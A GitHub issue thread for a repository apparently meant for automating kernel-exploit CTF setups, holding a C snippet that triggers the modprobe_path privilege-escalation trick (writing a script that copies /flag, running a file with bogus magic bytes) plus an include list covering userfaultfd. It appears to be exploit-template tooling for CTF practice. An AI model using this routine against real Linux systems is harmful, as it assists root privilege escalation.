Squirre17 / Autokd

automate kernel exploit environment deploy
1 stars 0 forks source link

add this snippet #19

Closed Squirre17 closed 1 year ago

Squirre17 commented 1 year ago
void trigger_modprobe(){
  Info("trigger_modprobe");
  system(
    "echo '#!/bin/sh\n"
    "cp /flag /tmp/flag\n"
    "chmod 777 /tmp/flag' > /tmp/s\n"
  );
  system("chmod +x /tmp/s");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
  system("chmod +x /tmp/dummy");
  Info("Run unknown file");
  system("/tmp/dummy");
  system("cat /tmp/flag");
  exit(0);
}
Squirre17 commented 1 year ago

add more header

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
Squirre17 commented 1 year ago

set template macro all lower-case